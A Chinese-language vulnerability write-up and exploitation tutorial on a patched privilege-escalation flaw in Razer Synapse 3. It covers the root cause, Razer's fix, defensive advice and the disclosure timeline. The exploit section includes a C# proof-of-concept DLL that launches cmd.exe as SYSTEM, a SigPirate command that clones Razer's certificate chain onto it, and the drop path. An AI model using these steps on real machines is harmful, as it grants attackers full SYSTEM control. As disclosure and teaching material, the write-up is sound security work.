Razer Synapse 3特权提升漏洞分析与利用教学
漏洞概述
Razer Synapse 3软件存在一个特权提升漏洞,允许低权限用户在系统上获得SYSTEM权限。该漏洞源于Razer Synapse服务加载程序集时的权限验证不足问题。
受影响版本
- 产品版本: Razer Synapse 3(3.3.1128.112711) Windows客户端
- 测试操作系统: Windows 10 1803(x64)
漏洞原理分析
1. 服务运行机制
Razer Synapse软件包含一个以"NT AUTHORITY\SYSTEM"权限运行的服务(Razer Synapse Service),该服务从"C:\ProgramData\Razer"目录加载多个.NET程序集。
2. 权限配置问题
"C:\ProgramData\Razer"目录及其子目录/文件具有弱权限配置,授予任何经过身份验证的用户FullControl权限。
3. 程序集加载机制
当Razer Synapse服务启动时,它会递归枚举"C:\ProgramData\Razer"目录中的所有DLL文件并尝试加载它们。
4. 签名验证缺陷
服务会检查程序集的证书链是否与Razer.cer中的证书链匹配,但仅使用X509Certificate.CreateFromSignedFile()提取证书链,而不验证程序集签名的实际有效性。
5. 程序集执行点
通过实现SimpleInjector项目的IPackage接口,攻击者可以在RegisterServices()方法中插入恶意代码,当服务加载程序集时会执行这些代码。
漏洞利用步骤
1. 创建恶意程序集
需要创建一个实现IPackage接口的.NET程序集,并在RegisterServices()方法中添加恶意逻辑。
using SimpleInjector;
using SimpleInjector.Packaging;
public class Lol : IPackage
{
public void RegisterServices(Container container)
{
System.Diagnostics.Process.Start("cmd.exe");
}
}
2. 程序集编译要求
- 需要引用SimpleInjector和SimpleInjector.Packaging程序集
- 编译为x86架构(因为Razer服务是32位的)
3. 伪造证书签名
使用SigPirate等工具从有效的Razer程序集中克隆证书链到恶意程序集上:
SigPirate.exe -i "C:\ProgramData\Razer\Synapse3\Service\bin\Razer.Synapse.Services.exe" -t "C:\temp\lol.dll" -o "C:\temp\lol_signed.dll"
4. 部署恶意程序集
将伪造签名的恶意程序集放入服务加载路径中,例如:
C:\ProgramData\Razer\Synapse3\Service\bin\lol.dll
5. 触发漏洞
需要重启系统或重启Razer Synapse服务,使服务加载恶意程序集并执行其中的代码。
漏洞修复分析
Razer通过以下方式修复了该漏洞:
- 实现了名为"Security.WinTrust"的新命名空间,包含完整性检查功能
- 在加载程序集前调用WinTrust.VerifyEmbeddedSignature()验证文件签名
- 使用WinVerifyTrust()验证签名的有效性,确保无法通过简单的证书克隆绕过
防御建议
对于用户
- 及时更新Razer Synapse软件到最新版本
对于开发者
- 严格控制服务加载目录的权限
- 实现完整的签名验证机制,而不仅仅是证书链检查
- 使用WinVerifyTrust等API进行完整的签名验证
- 限制服务加载程序集的位置和范围
时间线与披露过程
- 2018-06-05: 漏洞报告提交至Razer的HackerOne计划
- 2018-06-08: Razer确认报告
- 2018-12-16: 直接联系Razer信息安全经理
- 2018-12-25: 提供内部版本进行修复验证
- 2019-01-10: 修复版本向公众发布
- 2019-01-21: 公开披露漏洞详情
总结
该漏洞展示了权限配置不当与签名验证不完整结合可能导致严重特权提升漏洞。攻击者通过伪造程序集签名和实现特定接口,能够在SYSTEM权限下执行任意代码。修复方案强调了完整签名验证的重要性,而不仅仅是证书链匹配检查。